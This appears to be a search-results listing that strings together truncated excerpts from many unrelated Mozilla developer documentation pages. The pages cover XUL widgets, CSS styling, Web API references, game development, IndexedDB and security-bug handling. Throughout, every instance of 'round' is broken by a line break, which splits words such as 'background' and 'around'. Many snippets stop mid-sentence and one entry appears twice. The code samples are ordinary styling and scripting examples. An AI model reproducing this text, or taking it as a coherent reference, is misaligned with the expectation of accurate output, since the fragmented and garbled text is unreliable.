although it was corrected in mozilla mainstream: mozilla/extensions/pref/autoconfig/src/nsldapsyncquery.cpp 1.7.2.1 by late 2004, it is still present in thunderbird 1.0.2 at least :-(, so i applied the worka
round i proposed in that bug report (start_pos += 1;).
... the displayerror() function does not work properly in thunderbird 3.1: see https://bugzilla.mozilla.org/show_bu...?id=502597#c34 a usable worka
round is placing the following code at the top of your autoconfig script: // enable logging.
...here's the report and worka
round: bug 229271.
...the worka
round is chmod 755 greprefs!
Building accessible custom components in XUL - Archive of obsolete content
<code> @namespace url("http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"); grid.spreadsheet { border: thin solid; } grid.spreadsheet label { border-bottom: 1px solid black; border-left: 1px solid black; margin: 0; padding: 3px; } grid.spreadsheet description { color: black; backg
round-color: white; margin: 0px; padding: 2px; border-left: thin solid; border-bottom: thin solid; font-family: monospace; font-size: 12pt; text-align: center; font-weight: bold; } </code> you can see the results by installing stage-1.xpi, restarting firefox, and selecting accjax from the tools menu.
...<code> grid.spreadsheet { border: thin solid; -moz-user-focus: normal; } </code> in html documents, firefox draws a focus rectangle a
round the currently focused element.
...the only remaining issue is that when the spreadsheet regains focus (by pressing shift-tab, or cycling all the way a
round the tab order and coming back into the spreadsheet), we need to programmatically reset the focus to the previously focused cell.
...you can press tab to get onto the control itself, then you can press the arrow keys to move a
round within the control.
loadOneTab - Archive of obsolete content
« xul reference home loadonetab( url, referreruri, charset, postdata, loadinbackg
round, allowthirdpartyfixup ) loadonetab( url, { referreruri: ..., charset: ..., postdata: ..., inbackg
round: ..., allowthirdpartyfixup: ..., relatedtocurrent: ...
...this method works the same as addtab except for the loadinbackg
round parameter which allows you to choose whether to open the new tab in foreg
round or backg
round.
... parameters inbackg
round if true the tab will be loaded in the backg
round, if false the tab will be the newly selected tab.
... and if null or not specified, this parameter will default to the browser.tabs.loadinbackg
round preference.
Popup Menus - Archive of obsolete content
the menupopup element sur
rounds the three menuitem elements.
... the popupset element sur
rounds the entire popup menu declaration.
... example 2 : source view <button label="save" tooltiptext="click here to save your stuff"/> <popupset> <tooltip id="moretip" orient="vertical" style="backg
round-color: #33dd00;"> <description value="click here to see more information"/> <description value="really!" style="color: red;"/> </tooltip> </popupset> <button label="more" tooltip="moretip"/> these two buttons each have a tooltip.
...the second uses a custom tooltip that has a different backg
round color and styled text.
Stack Positioning - Archive of obsolete content
so if you set a left attribute to 400, the stack will have a width a
round 400 pixels plus the width of the element.
... you can use a script to adjust the value of the left and top attributes and thus make the elements move a
round.
...if you tried to move elements in a regular box, other elements might shuffle their positions a
round.
...you can use the dom functions to move the order of the elements a
round.
Trees - Archive of obsolete content
example tree with two columns example 1 : source view <tree flex="1"> <treecols> <treecol id="namecolumn" label="name" flex="1"/> <treecol id="addresscolumn" label="address" flex="2"/> </treecols> <treechildren/> </tree> first, the entire table is sur
rounded with a tree element.
...the treeitem tag would go a
round the entire row so that it is selectable as a whole.
... the treechildren element sur
rounds all of the rows.
...the treerow element sur
rounds all of the cells in a single row, while a treeitem element would sur
round a row and all of its children.
tree - Archive of obsolete content
enablecolumndrag type: boolean when set to true, the user may drag the column headers a
round to change the order in which they are displayed.
... enablecolumndrag type: boolean when set to true, the user may drag the column headers a
round to change the order in which they are displayed.
... interfaces nsiaccessibleprovider, nsidomxultreeelement, nsidomxulmultiselectcontrolelement script examples to have alternating colors for each row, use the style rules like the following: treechildren::-moz-tree-row(selected) { backg
round-color: #ffffaa; } treechildren::-moz-tree-row(odd) { backg
round-color: #eeeeee; } treechildren::-moz-tree-row(odd, selected) { backg
round-color: #ffffaa; } treechildren::-moz-tree-cell-text(selected) { color: #000000; } treechildren::-moz-tree-cell-text(odd, selected) { color: #000000; } if using a content tree view, use the following to get the value of the id attribute for each of the selecte...
...*/ list-style-image: url("chrome://global/skin/checkbox/cbox-check-dis.gif") } treechildren::-moz-tree-row(selected) { backg
round-color: #ffffaa; } treechildren::-moz-tree-row(odd) { backg
round-color: #eeeeee; } treechildren::-moz-tree-row(odd, selected) { backg
round-color: #ffffaa; } treechildren::-moz-tree-cell-text(selected) { color: #000000; } treechildren::-moz-tree-cell-text(odd, selected) { color: #000000; } treechildren::-moz-tree-row(hover) {backg
round-color: #ffffaa !important;} treechi...
Gecko Compatibility Handbook - Archive of obsolete content
browser-specific worka
rounds problem: code includes worka
rounds for bugs and browser-specific quirks.
... in older browsers, this results in the td cell tightly wrapping a
round the input element.
... <table border="1"> <tr> <form name="form2"> <td> <input type="text"> </td> </form> </tr> <table> this approach is commonly used to get a
round the fact that <form> is a block level element in html and will naturally begin on a new line in the page.
... many older versions of cross-browser apis in common use a
round the web such as dynapi do not support gecko for one or more of the reasons listed above.
2006-12-01 - Archive of obsolete content
xml in firefox is a major problem a major debate sur
rounding the use of xml for customizing rss feeds.
... basic feature that i think is a must in any web broswer a discussion revolving a
round the idea of having firefox automatically convert mistaken non-english characters to english so that web addresses will be completed.
... mozstorage documentation up a revisted discussion sur
round the mozstorage documentation.
... developping microsummary generator questions and discussion sur
rounding microsummaries in ff 2.0.
2006-10-27 - Archive of obsolete content
the question tony posted was that he wanted to know what was wrong with fx 1.5.0.x (linux) tinderbox because it has been failing since october 22 at a
round 5:45 pm pdt.
... october 26: masaki responded to alex's posting by providing a link to a similar bug that provides a work a
round to the problem he was having.
... moz_cairo_libs = -l$(libxul_dist)/lib -lmozcairo -lmozlibpixman \ -l/usr/sfw/lib -lxrender -lfreetype -lfontconfig october 27: alex replied to masaki posting, stating that he was going to use the work a
round that he provided and would provide feedback if it was successful or not.
... later that day alex able to successful complete his firefox 2 build by using masaki'swork a
round that he had posted.
-ms-filter - Archive of obsolete content
<div id="filterfrom" style="position: absolute; width: 200px; height: 250px; backg
round-color: white; filter: revealtrans()"> <img id="imagefrom" style="position: absolute; top: 20px; left: 20px;" src="sphere.jpg" alt="sphere"> <div id="filterto" style="position: absolute; width: 200px; height: 250px; top: 20px; left: 2...
...0px; backg
round: white; visibility: hidden;"> </div> </div> <script type="text/javascript"> let filterimg = document.queryselector('#filterfrom'); filterimg.addeventlistener('click', dofilter); function dofilter () { filterfrom.filters.item(0).apply(); // 12 is the dissolve filter.
... html <div class="gradient horizontal"></div> <div class="gradient vertical"></div> css html, body { overflow-x: hidden; max-width: 100vw; } .gradient { width: 100vw; height: 60px; height: 50vh; } .gradient.horizontal { -ms-filter: 'progid:dximagetransform.microsoft.gradient(startcolorstr="#ffffff", endcolorstr="#000000", gradienttype=1)'; backg
round-image: linear-gradient(to right, #ffffff 0%, #000000 100%); } .gradient.vertical { -ms-filter: 'progid:dximagetransform.microsoft.gradient(startcolorstr="#ffffff", endcolorstr="#000000", gradienttype=0)'; backg
round-image: linear-gradient(to bottom, #ffffff 0%, #000000 100%); } result specifications not part of any specification.
... initial value"" (the empty string)applies toall elementsinheritednocomputed valueas specifiedanimation typediscrete remarks the following table lists the most popular dx filters and their standards-based alternatives: dx filter standards-based alternative alpha opacity alphaimageloader <img> or backg
round-image and related properties gradient backg
round-image: linear-gradient() dropshadow text-shadow or box-shadow matrix transform, transform-origin in windows internet explorer 8, the -ms-filter attribute is an extension to css, and can be used as a synonym for filter in ie8 standards mode.
Game monetization - Game development
it varies, but a
round one person in every thousand is about average.
...the usual cost of a non-exclusive license is a
round 500 usd.
...instead of getting a one-time payment you can get a small amount of money per game, per month — it can be something a
round 20-50 usd per month, per game.
... remember that many new, low quality publishers will want to get your game for ad revenue instead of licensing because it will be cheaper for them and you might end up with earnings a
round 2 usd per game for the whole deal.
Building up a basic demo with A-Frame - Game development
adding a backg
round: sky box a sky box is a backg
round for the 3d world, represented by an <a-sky> element.
...looking a
round would give an impression of being inside an open sky, a wooden barn — wherever you like!
... add the following html before the <a-cube> element: <a-sky color="#dddddd"></a-sky> at this point, if you save the code and refresh your browser you can already see the cube on the screen with our custom backg
round: here's the code we have created so far: you can also check it out on github.
... the controls are already working: you can use the mouse for looking a
round and the keyboard for movement (try the w, a, s, and d keys.) there's even an "enter vr mode" button in the bottom right corner of the screen, to allow you to shift to full screen, stereoscopic image viewing if you have the necesary vr hardware set up and ready.
Mobile touch controls - Game development
nt.getelementsbytagname("canvas")[0]; el.addeventlistener("touchstart", handlestart); el.addeventlistener("touchmove", handlemove); el.addeventlistener("touchend", handleend); el.addeventlistener("touchcancel", handlecancel); this way, touching the game's <canvas> on the mobile screen would emit events, and thus we could manipulate the game in any way we want (for example, moving the space ship a
round).
...the preventdefault() function is needed to prevent the browser from moving — without it you'd have the default behaviour, and the canvas would be dragged a
round the page, which would show the browser scroll bars and look messy.
... an additional advantage of using phaser is that the buttons you create will take any type of input, whether it's a touch on mobile or a click on desktop — the framework sorts this out in the backg
round for you.
... moving the player could be managed by creating the four directional buttons, but we can take the advantage of touch screens and drag the player's ship a
round: var player = this.game.add.sprite(30, 30, 'ship'); player.inputenabled = true; player.input.enabledrag(); player.events.ondragstart.add(ondragstart, this); player.events.ondragstop.add(ondragstop, this); function ondragstart(sprite, pointer) { // do something when dragging } we can pull the ship a
round and do something in the meantime, and react when the drag is stopped.
Tiles and tilemaps overview - Game development
think about any game that uses regularly repeating squares of backg
round, and you'll probably find it uses tilemaps.
...this allows us to have a richer game world with less tiles, since the same image can be used with different backg
rounds.
... for instance, a rock that could appear on top of several terrain types (like grass, sand or brick) could be included on it's own separate tile which is then rendered on a new layer, instead of several rock tiles, each with a different backg
round terrain.
...a better way would be to create a canvas that is 2x2 tiles bigger than the visible area, so there is one tile of "bleeding" a
round the edges.
HTML: A good basis for accessibility - Learn web development
if they are decorational, it is better to write an empty text as a value for alt attribute (see empty alt attributes) or to just include them in the page as css backg
round images.
... if you do want to provide extra contextual information, you should put it in the text sur
rounding the image, or inside a title attribute, as shown above.
...link text color, like all text, has to be significantly different from the backg
round color (a 4.5:1 contrast).
...with a minimum contrast requirement of 3:1 between link text and sur
rounding text and between default, visited, and focus/active states and a 4:5 contrast between all those state colors and the backg
round color.
HTML: A good basis for accessibility - Learn web development
if they are decorational, it is better to write an empty text as a value for alt attribute (see empty alt attributes) or to just include them in the page as css backg
round images.
... if you do want to provide extra contextual information, you should put it in the text sur
rounding the image, or inside a title attribute, as shown above.
...link text color, like all text, has to be significantly different from the backg
round color (a 4.5:1 contrast).
...with a minimum contrast requirement of 3:1 between link text and sur
rounding text and between default, visited, and focus/active states and a 4:5 contrast between all those state colors and the backg
round color.
Debugging CSS - Learn web development
try selecting the element with the class of box1; this is the first element on the page with a bordered box drawn a
round it.
... a reduced test case is a code example that demonstrates the problem in the simplest possible way, with unrelated sur
rounding content and styling removed.
...this may well give you enough information to be able to search for likely sounding problems and worka
rounds.
... previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backg
rounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
Fundamental CSS comprehension - Learn web development
you need to: give the main card container a fixed width/height, solid backg
round color, border, and border-radius (
rounded corners!), amongst other things.
... give the header a backg
round gradient that goes from darker to lighter, plus
rounded corners that fit in with the
rounded corners set on the main card container.
... give the footer a backg
round gradient that goes from lighter to darker, plus
rounded corners that fit in with the
rounded corners set on the main card container.
...also give it a backg
round color of semi-transparent black, resulting in a slightly darker shade that lets the backg
round red color shine through a bit too.
Images, media, and form elements - Learn web development
all of the <div> elements have a backg
round color and stretch to fill the row and column.
...try changing how this form looks by adjusting the borders, adding backg
round colors to the fields, and changing fonts and padding.
...you could create a form input with no borders and backg
round that is almost indistinguishable from the content a
round it, but this would make it very hard to recognise and fill in.
... previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backg
rounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
Supporting older browsers - Learn web development
there is a middle g
round between a plain html page and all the bells and whistles, and css has actually made creating these fallbacks pretty straightforward.
... * {box-sizing: border-box;} .wrapper { backg
round-color: rgb(79,185,227); padding: 10px; max-width: 400px; display: grid; grid-template-columns: 1fr 1fr 1fr; } .item { float: left; border-radius: 5px; backg
round-color: rgb(207,232,220); padding: 1em; } <div class="wrapper"> <div class="item">item one</div> <div class="item">item two</div> <div class="item">item three</div> </div> note: the clear property also has n...
... * {box-sizing: border-box;} .wrapper { backg
round-color: rgb(79,185,227); padding: 10px; max-width: 400px; display: grid; grid-template-columns: 1fr 1fr 1fr; } .item { float: left; border-radius: 5px; backg
round-color: rgb(207,232,220); padding: 1em; width: 33.333%; } <div class="wrapper"> <div class="item">item one</div> <div class="item">item two</div> <div class="item">item three</div> </div> to deal with this ...
... * {box-sizing: border-box;} .wrapper { backg
round-color: rgb(79,185,227); padding: 10px; max-width: 400px; display: grid; grid-template-columns: 1fr 1fr 1fr; } .item { float: left; border-radius: 5px; backg
round-color: rgb(207,232,220); padding: 1em; width: 33.333%; } @supports (display: grid) { .item { width: auto; } } <div class="wrapper"> <div class="item">item one</div> <div class="item">item two</div> <...
Adding vector graphics to the Web - Learn web development
this being the case, only supporting browsers will load the svg — older browsers will load the png instead: <img src="equilateral.png" alt="triangle with equal sides" srcset="equilateral.svg"> you can also use svgs as css backg
round images, as shown below.
... in the below code, older browsers will stick with the png that they understand, while newer browsers will load the svg: backg
round: url("fallback.png") no-repeat center; backg
round-image: url("image.svg"); backg
round-size: contain; like the <img> method described above, inserting svgs using css backg
round images means that the svg can't be manipulated with javascript, and is also subject to the same css limitations.
... </text> </svg> </textarea> <div class="playable-buttons"> <input id="reset" type="button" value="reset"> <input id="solution" type="button" value="show solution" disabled> </div> html { font-family: sans-serif; } h2 { font-size: 16px; } .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } body { margin: 10px; backg
round: #f5f9fa; } const textarea = document.getelementbyid('code'); const reset = document.getelementbyid('reset'); const solution = document.getelementbyid('solution'); const output = document.queryselector('.output'); let code = textarea.value; let userentry = textarea.value; function updatecode() { output.innerhtml = textarea.value; } reset.addeventlistener('click', function() { textarea.valu...
...it was never intended to be a full guide to learning svg, just a pointer so you know what svg is if you meet it in your travels a
round the web.
Image gallery - Learn web development
> the example looks like this: the most interesting parts of the example's css file: it absolutely positions the three elements inside the full-img <div> — the <img> in which the full-sized image is displayed, an empty <div> that is sized to be the same size as the <img> and put right over the top of it (this is used to apply a darkening effect to the image via a semi-transparent backg
round color), and a <button> that is used to control the darkening effect.
... if the class name is "dark", changes the <button> class to "light" (using setattribute()), its text content to "lighten", and the backg
round-color of the overlay <div> to "rgba(0,0,0,0.5)".
... if the class name not "dark", changes the <button> class to "dark", its text content back to "darken", and the backg
round-color of the overlay <div> to "rgba(0,0,0,0)".
... btn.setattribute('class', xxx); btn.textcontent = xxx; overlay.style.backg
roundcolor = xxx; hints and tips you don't need to edit the html or css in any way.
Fetching data from the server - Learn web development
the main content will change, but most of the sur
rounding information, like the header, footer, navigation menu, etc., will stay the same.
... to get a
round this, we need to test the example by running it through a local web server.
...xhr has been a
round for a long time now and has very good cross-browser support.
... a more complex example to
round off the article, we'll look at a slightly more complex example that shows some more interesting uses of fetch.
Arrays - Learn web development
play a
round a bit, and see what works and what doesn't.
... // not the solution, so that solution is not saved over the user code if(solution.value === 'show solution') { userentry = textarea.value; } else { solutionentry = textarea.value; } updatecode(); }; html { font-family: sans-serif; } h2 { font-size: 16px; } .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } body { margin: 10px; backg
round-color: #f5f9fa; } active learning: top 5 searches a good use for array methods like push() and pop() is when you are maintaining a record of currently active items in a web app.
... in an animated scene for example, you might have an array of objects representing the backg
round graphics currently displayed, and you might only want 50 displayed at once, for performance or clutter reasons.
... searchinput.value = ''; searchinput.focus(); } } </textarea> <div class="playable-buttons"> <input id="reset" type="button" value="reset"> <input id="solution" type="button" value="show solution"> </div> html { font-family: sans-serif; } h2 { font-size: 16px; } .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } body { margin: 10px; backg
round: #f5f9fa; } const textarea = document.getelementbyid('code'); const reset = document.getelementbyid('reset'); const solution = document.getelementbyid('solution'); let code = textarea.value; let userentry = textarea.value; function updatecode() { eval(textarea.value); } reset.addeventlistener('click', function() { textarea.value = code; userentry = textarea.value; solutionentry = jssol...
Handling text — strings in JavaScript - Learn web development
the only difference here is that when writing a string, you need to sur
round the value with quotes.
...try entering the following lines: let badstring = this is a test; let badstring = 'this is a test; let badstring = this is a test'; these lines don't work because any text without quotes a
round it is assumed to be a variable name, property name, a reserved word, or similar.
... you can include complex expressions inside template literals, for example: let examscore = 45; let examhighestscore = 70; examreport = `you scored ${ examscore }/${ examhighestscore } (${ math.
round((examscore/examhighestscore*100)) }%).
... the third one calculates a percentage result and
rounds it to the nearest integer.
Understanding client-side JavaScript frameworks - Learn web development
we'll discover a little bit of detail about its backg
round and use cases, set up a basic react toolchain on our local computer, and create and play with a simple starter app, learning a bit about how react works in the process.
...in this article, we'll look at a little bit of vue backg
round, learn how to install it and create a new project, study the high-level structure of the whole project and an individual component, see how to run the project locally, and get it prepared to start building our example.
...vue resources now we'll
round off our study of vue by giving you a list of resources that you can use to go further in your learning, plus some other useful tips.
... there is a variety of reasons for this: they are popular choices that will be a
round for a while — like with any software tool, it is good to stick with actively-developed choices that are likely to not be discontinued next week, and which will be desirable additions to your skill set when looking for a job.
Lightweight themes
lightweight themes are sometimes referred to as "backg
round themes" or, (on addons.mozilla.org) as just "themes".
... how to create your own lightweight theme lightweight themes are made up of a "header" graphic image file, which skins the default firefox ui backg
round.
... creating a theme header image the header image is displayed as the backg
round of the top of the browser window, nestling in behind the toolbars, address bar, search bar and the tab strip.
... select text and tab colors — you can choose the tab ("backg
round") color and foreg
round text color that work best with your header image.
IME handling guide
for fixing this issue, we have contentcache classes a
round process boundary.
... backg
round color, foreg
round color (text color) and underline color can be specified with following prefs.
... ui.imerawinputbackg
round ui.imerawinputforeg
round ui.imerawinputunderline ui.imeselectedrawtextbackg
round ui.imeselectedrawtextforeg
round ui.imeselectedrawtextunderline ui.imeconvertedtextbackg
round ui.imeconvertedtextforeg
round ui.imeconvertedtextunderline ui.imeselectedconvertedtextbackg
round ui.imeselectedconvertedtextforeg
round ui.imeselectedconvertedtextunderline underline style can be specified with the following prefs.
...so, e.g., reconvertion a
round caret may not work as unexpectd in such case, but we don't have a good solution for this issue.
Internationalized Domain Names (IDN) Support in Mozilla Browsers
as the internet has spread to non-english speaking people a
round the world, it has become increasingly clear that forcing them to use domain names written only in a subset of the latin alphabet is not ideal.
...it was shown to be language independent, superior in compression, compact in code size,
round-trip safe, and superior for encoding chinese/japanese/korean characters.
...if you find idn test sites under the .com and .net top domains, and if you cannot successfully access these sites, you can use the following worka
round until the conversion to punycode is completed for these top domains: using netscape 7.1 or mozilla 1.4: type about:config into the location/url bar.
...many web sites a
round the world are expected to register native language host names with the appropriate domain name registrars for their top domains.
MathML Demo: <mo> - operator, fence, separator, or accent
in general, the lspace and rspace a
round the relation should be greater than that a
round the operation.
...in general, the lspace and rspace a
round arrows should be similar to the spacing a
round relations.
...in general, the lspace and rspace a
round negated relations should be similar to the spacing a
round relations.
...here's an example to illustrate spacing a
round fences m [ m m m ] m ( m m ) m { m m } m ⟨ m m ⟩ m | m m | m m m [ m m m ] + ( m m ) + { m m } + ⟨ m m ⟩ + | m m | m m m [ m m m ] ( m m ) { m m } ⟨ m m ⟩ | m m | m �...
Power profiling overview
this article covers important backg
round information about power profiling, with an emphasis on intel processors used in desktop and laptop machines.
...even just switching a tab from the foreg
round to the backg
round can make a difference.
... try putting the relevant tab in the foreg
round vs.
... in the backg
round.
Scroll-linked effects
<body style="height: 5000px" onscroll="document.getelementbyid('toolbar').style.top = math.max(100, window.scrolly) + 'px'"> <div id="toolbar" style="position: absolute; top: 100px; width: 100px; height: 20px; backg
round-color: green"></div> </body> this implementation of sticky positioning relies on the scroll event listener to reposition the "toolbar" div.
...one way to implement this without the scroll event listener is to use the css property designed for this purpose: <body style="height: 5000px"> <div id="toolbar" style="position: sticky; top: 0px; margin-top: 100px; width: 100px; height: 20px; backg
round-color: green"></div> </body> this version works well with asynchronous scrolling because position of the "toolbar" div is updated by the browser as the user scrolls.
...t(snap, 20, destination); } } var timeoutid = null; addeventlistener("scroll", function() { if (timeoutid) cleartimeout(timeoutid); timeoutid = settimeout(snap, 200, parseint(document.getelementbyid('snaptarget').style.top)); }, true); </script> <div id="snaptarget" class="snaptarget" style="position: relative; top: 200px; width: 100%; height: 200px; backg
round-color: green"></div> </body> in this example, there is a scroll event listener which detects if the scroll position is within 200 pixels of the top of the "snaptarget" div.
... <body style="height: 5000px"> <style> body, /* blink currently has bug that requires declaration on `body` */ html { scroll-snap-type: y proximity; } .snaptarget { scroll-snap-align: start; position: relative; top: 200px; height: 200px; backg
round-color: green; } </style> <div class="snaptarget"></div> </body> this version can work smoothly in the browser even if there is slow-running javascript on the browser's main thread.
JSClass.flags
mxr id search for jsclass_global_flags jsclass_foreg
round_finalize objects of this class must be finalized on the main thread.
... one of jsclass_foreg
round_finalize and jsclass_backg
round_finalize must be specified.
... jsclass_backg
round_finalize it is safe to finalize objects of this class on a backg
round thread.
... one of jsclass_foreg
round_finalize and jsclass_backg
round_finalize must be specified.
JS_ValueToInt32
otherwise, the floating-point number is
rounded to the nearest integer value.
... js_valuetoint32 is pre-ecma-262 edition 1, and
rounds differently than js_valuetoecmaint32 and js::toint32.
... this routine was added for layers-based graphics programming in netscape 4, but unless you know you need its
rounding behavior, it is best to avoid it in favour of js::toint32.
... js::toint32
rounds as specified in ecma 262-3 §9.5, while this routine
rounds by adding 0.5 to the converted float-point number and truncating the result at the decimal point.
Handling Mozilla Security Bugs
backg
round security vulnerabilities are different from other bugs, because their consequences are potentially so severe: users' private information (including financial information) could be exposed, users' data could be destroyed, and users' systems could be used as platforms for attacks on other systems.
... the mozilla security bug group the mozilla security module owner and peers will form the core of the mozilla security bug group, and will select a number of other people to
round out the group's membership.
... expanding the mozilla security bug group as previously described, the mozilla security module owner can select one or more peers to share the core work of coordinating investigation and resolution of mozilla security vulnerabilities, and will work with them to create some agreed-upon g
round rules for how this work can be most effectively shared among themselves.
... a typical warning will mention the application or module affected, the affected versions, and a worka
round (e.g., disabling javascript).
IAccessibleComponent
method overview [propget] hresult backg
round([out] ia2color backg
round ); [propget] hresult foreg
round([out] ia2color foreg
round ); [propget] hresult locationinparent([out] long x, [out] long y ); methods backg
round() returns the backg
round color of this object.
... [propget] hresult backg
round( [out] ia2color backg
round ); parameters backg
round the returned color is the backg
round color of this object or, if that is not supported, the default backg
round color.
...foreg
round() returns the foreg
round color of this object.
... [propget] hresult foreg
round( [out] ia2color foreg
round ); parameters foreg
round the returned color is the foreg
round color of this object or, if that is not supported, the default foreg
round color.
nsIApplicationUpdateService
toolkit/mozapps/update/nsiupdateservice.idlscriptable this interface describes a global application service that handles performing backg
round update checks.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void adddownloadlistener(in nsirequestobserver listener); astring downloadupdate(in nsiupdate update, in boolean backg
round); void pausedownload(); void removedownloadlistener(in nsirequestobserver listener); nsiupdate selectupdate([array, size_is(updatecount)] in nsiupdate updates, in unsigned long updatecount); attributes attribute type description backg
roundchecker nsiupdatechecker the update checker being used for backg
round update checking.
... astring downloadupdate( in nsiupdate update, in boolean backg
round ); parameters update an nsiupdate object indicating the update to download.
... backg
round true to download the update in the backg
round or false to download it in the foreg
round.
nsIUpdatePrompt
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void checkforupdates(); void showupdateavailable(in nsiupdate update); void showupdatedownloaded(in nsiupdate update, [optional] in boolean backg
round); void showupdateerror(in nsiupdate update); void showupdatehistory(in nsidomwindow parent); void showupdateinstalled(); methods checkforupdates() presents a user interface that checks for and displays the available updates.
...if backg
round is true (for example the download was not user initiated) and the app.update.silent preference is true the call will be a no-op.
... void showupdatedownloaded( in nsiupdate update, in boolean backg
round optional ); parameters update an nsiupdate describing the update that was downloaded.
... backg
round optional an optional parameter that, if provided and true, presents a less-obtrusive, non-modal notification alert.
nsMsgNavigationType
will wrap a
round if the wrap flag is set to true.
...will wrap a
round if the wrap flag is set to true.
...will wrap a
round if the wrap flag is set to true.
...will wrap a
round if the wrap flag is set to true.
Drawing and Event Handling - Plugins
this way, the plug-in can draw an irregularly shaped area, such as a figure, or text over the existing backg
round.
...because the browser does not need to draw the backg
round behind the plug-in, opaque windowless plug-ins are considerably more efficient than transparent plug-ins.
...here are two examples of plug-ins that have transparent areas: a plug-in that is smaller than the area specified by the enclosing object or embed element a plug-in with nonrectangular boundaries the browser is responsible for rendering the backg
round of a transparent windowless plug-in.
... before generating a paint message for the plug-in, the browser makes sure that the backg
round is already drawn into the area to be updated.
CSSStyleDeclaration.setProperty() - Web APIs
if priority can be omitted, javascript has a special simpler syntax for setting a css property on a style declaration object: style.csspropertyname = 'value'; examples in this example we have three buttons, which can be pressed to dynamically alter our box paragraph's border, backg
round color, and text color to random values (see the live example at the end of this section).
...in each case, this is done with the setproperty() method, for example boxpararule.style.setproperty('border', newborder); html <div class="controls"> <button class="border">border</button> <button class="bgcolor">backg
round</button> <button class="color">text</button> </div> <div class="box"> <p>box</p> </div> css html { backg
round: orange; font-family: sans-serif; height: 100%; } body { height: inherit; width: 80%; min-width: 500px; max-width: 1000px; margin: 0 auto; } .controls { display: flex; justify-content: space-a
round; align-items: center; } div button { flex: 1; margin: 20...
...px; height: 30px; line-height: 30px; } .box { display: flex; justify-content: center; align-items: center; height: calc(100% - 70px); } .box p { width: 50%; text-align: center; font-weight: bold; font-size: 40px; height: 150px; line-height: 150px; backg
round: red; border: 5px solid purple; color: white; transition: all 1s; } javascript const borderbtn = document.queryselector('.border'); const bgcolorbtn = document.queryselector('.bgcolor'); const colorbtn = document.queryselector('.color'); const box = document.queryselector('.box'); function random(min,max) { const num = math.floor(math.random()*(max-min)) + min; return num; } function randomcolor() { return 'rgb(' + random(0,255) + ', ' + random(0,255) + ', ' + random(0,255) + ')'; } const styles...
...i < stylesheet.cssrules.length; i++) { if(stylesheet.cssrules[i].selectortext === '.box p') { boxpararule = stylesheet.cssrules[i]; } } function setrandomborder() { const newborder = random(1, 50) + 'px solid ' + randomcolor(); boxpararule.style.setproperty('border', newborder); } function setrandombgcolor() { const newbgcolor = randomcolor(); boxpararule.style.setproperty('backg
round-color', newbgcolor); } function setrandomcolor() { const newcolor = randomcolor(); boxpararule.style.setproperty('color', newcolor); } borderbtn.addeventlistener('click', setrandomborder); bgcolorbtn.addeventlistener('click', setrandombgcolor); colorbtn.addeventlistener('click', setrandomcolor); result specifications specification status comment css object m...
DOMMatrixReadOnly - Web APIs
dommatrixreadonly.flipx() returns a new dommatrix created by flipping the source matrix a
round its x-axis.
... dommatrixreadonly.flipy() returns a new dommatrix created by flipping the source matrix a
round its y-axis.
... dommatrixreadonly.rotateaxisangle() returns a new dommatrix created by rotating the source matrix by the given angle a
round the specified vector.
... dommatrixreadonly.rotate() returns a new dommatrix created by rotating the source matrix a
round each of its axes by the specified number of degrees.
DeviceMotionEventRotationRate - Web APIs
a devicemotioneventrotationrate object provides information about the rate at which the device is rotating a
round all three axes.
... properties devicemotioneventrotationrate.alpha read only the amount of rotation a
round the z axis, in degrees per second.
... devicemotioneventrotationrate.beta read only the amount of rotation a
round the x axis, in degrees per second.
... devicemotioneventrotationrate.gamma read only the amount of rotation a
round the y axis, in degrees per second.
DeviceOrientationEvent - Web APIs
deviceorientationevent.alpha read only a number representing the motion of the device a
round the z axis, express in degrees with values ranging from 0 to 360.
... deviceorientationevent.beta read only a number representing the motion of the device a
round the x axis, express in degrees with values ranging from -180 to 180.
... deviceorientationevent.gamma read only a number representing the motion of the device a
round the y axis, express in degrees with values ranging from -90 to 90.
... deviceorientationevent.webkitcompassheading read only a number represents the difference between the motion of the device a
round the z axis of the world system and the direction of the north, express in degrees with values ranging from 0 to 360.
Document.visibilityState - Web APIs
it is useful to know if the document is in the backg
round or an invisible tab, or only loaded for pre-rendering.
...in practice this means that the page is the foreg
round tab of a non-minimized window.
...in practice this means that the document is either a backg
round tab or part of a minimized window, or the os screen lock is active.
... typical use of this can be to prevent the download of some assets when the document is solely prerendered, or stop some activities when the document is in the backg
round or minimized.
Document - Web APIs
document.bgcolor gets/sets the backg
round color of the current document.
... document.fgcolor gets/sets the foreg
round color, or text color, of the current document.
... document.mozsetimageelement() allows you to change the element being used as the backg
round image for a specified element id.
... internet explorer does not support all methods from the node interface in the document interface: document.contains as a work-a
round, document.body.contains() can be used.
HTMLBodyElement - Web APIs
htmlbodyelement.backg
round is a domstring that represents the description of the location of the backg
round image resource.
... htmlbodyelement.bgcolor is a domstring that represents the backg
round color for the document.
... htmlbodyelement.text is a domstring that represents the foreg
round color of text.
... recommendation the following properties are now obsolete: alink, bgcolor, backg
round, link, text, and vlink.
HTMLObjectElement - Web APIs
htmlobjectelement.align is a domstring representing an enumerated property indicating alignment of the element's contents with respect to the sur
rounding context.
... htmlobjectelement.border is a domstring that reflects the border html attribute, specifying the width of a border a
round the object.
... htmlobjectelement.hspace is a long representing the horizontal space in pixels a
round the control.
... htmlobjectelement.vspace is a long representing the horizontal space in pixels a
round the control.
Using IndexedDB - Web APIs
so for example, don't use 2.4 as a version number: var request = indexeddb.open("mytestdatabase", 2.4); // don't do this, as the version will be
rounded to 2 generating handlers the first thing you'll want to do with almost all of the requests you generate is to add success and error handlers: request.onerror = function(event) { // do something with request.errorcode!
...as a worka
